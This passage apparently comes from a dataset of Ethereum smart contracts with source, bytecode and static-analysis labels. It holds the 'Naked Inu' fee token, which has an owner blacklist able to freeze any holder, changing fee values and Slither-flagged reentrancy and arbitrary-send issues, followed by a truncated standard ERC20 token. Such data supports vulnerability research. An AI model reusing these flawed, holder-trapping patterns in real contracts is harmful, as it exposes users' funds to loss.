address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x86DD27E2EaF1f0689Ffbc85CF977703408409ec3 | /*
https://t.me/nakedinutoken
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NakedInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Naked Inu";
string private constant _symbol = "NAKED";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610305578063c3c8cd8014610325578063d543dbeb1461033a578063dd62ed3e1461035a57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118aa565b6103a0565b005b34801561014657600080fd5b506040805180820190915260098152684e616b656420496e7560b81b60208201525b60405161017591906119ee565b60405180910390f35b34801561018a57600080fd5b5061019e61019936600461187f565b61044d565b6040519015158152602001610175565b3480156101ba57600080fd5b50683635c9adc5dea000005b604051908152602001610175565b3480156101e057600080fd5b5061019e6101ef36600461183f565b610464565b34801561020057600080fd5b506101386104cd565b34801561021557600080fd5b5060405160098152602001610175565b34801561023157600080fd5b50610138610240366004611971565b610890565b34801561025157600080fd5b506101386102603660046117cf565b6108d8565b34801561027157600080fd5b50610138610923565b34801561028657600080fd5b506101c66102953660046117cf565b610950565b3480156102a657600080fd5b50610138610972565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e357600080fd5b50604080518082019091526005815264139052d15160da1b6020820152610168565b34801561031157600080fd5b5061019e61032036600461187f565b6109e6565b34801561033157600080fd5b506101386109f3565b34801561034657600080fd5b506101386103553660046119a9565b610a29565b34801561036657600080fd5b506101c6610375366004611807565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d35760405162461bcd60e51b81526004016103ca90611a41565b60405180910390fd5b60005b8151811015610449576001600a600084848151811061040557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044181611b54565b9150506103d6565b5050565b600061045a338484610afc565b5060015b92915050565b6000610471848484610c20565b6104c384336104be85604051806060016040528060288152602001611bbf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611032565b610afc565b5060019392505050565b6000546001600160a01b031633146104f75760405162461bcd60e51b81526004016103ca90611a41565b600f54600160a01b900460ff16156105515760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103ca565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058e3082683635c9adc5dea00000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906117eb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f91906117eb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906117eb565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072f81610950565b6000806107446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e091906119c1565b5050600f8054673e7336287142000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610449919061198d565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016103ca90611a41565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016103ca90611a41565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094357600080fd5b4761094d8161106c565b50565b6001600160a01b03811660009081526002602052604081205461045e906110f1565b6000546001600160a01b0316331461099c5760405162461bcd60e51b81526004016103ca90611a41565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045a338484610c20565b600c546001600160a01b0316336001600160a01b031614610a1357600080fd5b6000610a1e30610950565b905061094d81611175565b6000546001600160a01b03163314610a535760405162461bcd60e51b81526004016103ca90611a41565b60008111610aa35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103ca565b610ac16064610abb683635c9adc5dea000008461131a565b90611399565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ca565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ca565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ca565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ca565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ca565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610fd557600f54600160b81b900460ff1615610e5b576001600160a01b0383163014801590610dad57506001600160a01b0382163014155b8015610dc75750600e546001600160a01b03848116911614155b8015610de15750600e546001600160a01b03838116911614155b15610e5b57600e546001600160a01b0316336001600160a01b03161480610e1b5750600f546001600160a01b0316336001600160a01b0316145b610e5b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103ca565b601054811115610e6a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eac57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb557600080fd5b600f546001600160a01b038481169116148015610ee05750600e546001600160a01b03838116911614155b8015610f0557506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1a5750600f54600160b81b900460ff165b15610f68576001600160a01b0382166000908152600b60205260409020544211610f4357600080fd5b610f4e42600f611ae6565b6001600160a01b0383166000908152600b60205260409020555b6000610f7330610950565b600f54909150600160a81b900460ff16158015610f9e5750600f546001600160a01b03858116911614155b8015610fb35750600f54600160b01b900460ff165b15610fd357610fc181611175565b478015610fd157610fd14761106c565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101757506001600160a01b03831660009081526005602052604090205460ff165b15611020575060005b61102c848484846113db565b50505050565b600081848411156110565760405162461bcd60e51b81526004016103ca91906119ee565b5060006110638486611b3d565b95945050505050565b600c546001600160a01b03166108fc611086836002611399565b6040518115909202916000818181858888f193505050501580156110ae573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c9836002611399565b6040518115909202916000818181858888f19350505050158015610449573d6000803e3d6000fd5b60006006548211156111585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ca565b6000611162611407565b905061116e8382611399565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121f57600080fd5b505afa158015611233573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125791906117eb565b8160018151811061127857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461129e9130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d7908590600090869030904290600401611a76565b600060405180830381600087803b1580156112f157600080fd5b505af1158015611305573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113295750600061045e565b60006113358385611b1e565b9050826113428583611afe565b1461116e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ca565b600061116e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142a565b806113e8576113e8611458565b6113f384848461147b565b8061102c5761102c6005600855600a600955565b6000806000611414611572565b90925090506114238282611399565b9250505090565b6000818361144b5760405162461bcd60e51b81526004016103ca91906119ee565b5060006110638486611afe565b6008541580156114685750600954155b1561146f57565b60006008819055600955565b60008060008060008061148d876115b4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114bf9087611611565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114ee9086611653565b6001600160a01b038916600090815260026020526040902055611510816116b2565b61151a84836116fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155f91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061158e8282611399565b8210156115ab57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d18a600854600954611720565b92509250925060006115e1611407565b905060008060006115f48e87878761176f565b919e509c509a509598509396509194505050505091939550919395565b600061116e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611032565b6000806116608385611ae6565b90508381101561116e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ca565b60006116bc611407565b905060006116ca838361131a565b306000908152600260205260409020549091506116e79082611653565b30600090815260026020526040902055505050565b6006546117099083611611565b6006556007546117199082611653565b6007555050565b60008080806117346064610abb898961131a565b905060006117476064610abb8a8961131a565b9050600061175f826117598b86611611565b90611611565b9992985090965090945050505050565b600080808061177e888661131a565b9050600061178c888761131a565b9050600061179a888861131a565b905060006117ac826117598686611611565b939b939a50919850919650505050505050565b80356117ca81611b9b565b919050565b6000602082840312156117e0578081fd5b813561116e81611b9b565b6000602082840312156117fc578081fd5b815161116e81611b9b565b60008060408385031215611819578081fd5b823561182481611b9b565b9150602083013561183481611b9b565b809150509250929050565b600080600060608486031215611853578081fd5b833561185e81611b9b565b9250602084013561186e81611b9b565b929592945050506040919091013590565b60008060408385031215611891578182fd5b823561189c81611b9b565b946020939093013593505050565b600060208083850312156118bc578182fd5b823567ffffffffffffffff808211156118d3578384fd5b818501915085601f8301126118e6578384fd5b8135818111156118f8576118f8611b85565b8060051b604051601f19603f8301168101818110858211171561191d5761191d611b85565b604052828152858101935084860182860187018a101561193b578788fd5b8795505b8386101561196457611950816117bf565b85526001959095019493860193860161193f565b5098975050505050505050565b600060208284031215611982578081fd5b813561116e81611bb0565b60006020828403121561199e578081fd5b815161116e81611bb0565b6000602082840312156119ba578081fd5b5035919050565b6000806000606084860312156119d5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1a578581018301518582016040015282016119fe565b81811115611a2b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac55784516001600160a01b031683529383019391830191600101611aa0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af957611af9611b6f565b500190565b600082611b1957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3857611b38611b6f565b500290565b600082821015611b4f57611b4f611b6f565b500390565b6000600019821415611b6857611b68611b6f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094d57600080fd5b801515811461094d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207be3d1aa37f41a86102b9adcbe013497266cb5c0a8208581d7183cbd8682fb2564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,400 |
0x8bc88556445659186f7e7c0acfb0fd266906f1a3 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/*
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/*
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/*
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/*
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title ERC223 interface
* @dev see https://github.com/ethereum/EIPs/issues/223
*/
contract ERC223 is ERC20 {
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transferFrom(address from, address to, uint value, bytes data) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
